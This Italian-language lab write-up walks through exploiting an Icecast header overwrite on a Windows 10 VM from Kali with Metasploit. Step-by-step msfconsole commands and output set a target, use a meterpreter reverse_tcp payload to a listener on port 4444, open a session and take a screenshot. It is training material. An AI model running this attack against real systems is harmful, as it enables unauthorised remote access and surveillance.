

Ho avviato il servizio Iccast sulla macchina Windows 10, dopodichè ho acceso la Kali ed ho aperto msfconsole, ho cercato la vulnerabilità Iccast e l'ho selezionata:

```
(kali@vbox)-[~]
$ msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

# cowsay++

< metasploit >

      \      /
      (oo)_____)
      (--)_____)
      ||----w |
      ||     || *

      =[ metasploit v6.4.38-dev ]
+ -- --=[ 2467 exploits - 1273 auxiliary - 431 post ]
+ -- --=[ 1478 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search iccast

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/http/iccast_header       2004-09-28      great No     Iccast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/iccast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/iccast_header) > options
```

Successivamente, dopo aver esplorato le opzioni, ho impostato l'IP target della macchina Win 10 su RHOSTS

```
Module options (exploit/windows/http/iccast_header):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.50.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/iccast_header) > set RHOSTS 192.168.50.104
RHOSTS => 192.168.50.104
```

In seguito, ho lanciato l'exploit ed ho avuto accesso alla sessione meterpreter

```
msf6 exploit(windows/http/iccast_header) > set RHOSTS 192.168.50.104
RHOSTS => 192.168.50.104
msf6 exploit(windows/http/iccast_header) > run

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Sending stage (177734 bytes) to 192.168.50.104
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.104:49450) at 2024-12-19 14:55:48 +0100

meterpreter >
```

Da qui, sono stato in grado di utilizzare la funzione screenshot dell'exploit che ha catturato una schermata di quello che stava facendo la macchina Win 10 in quel momento:

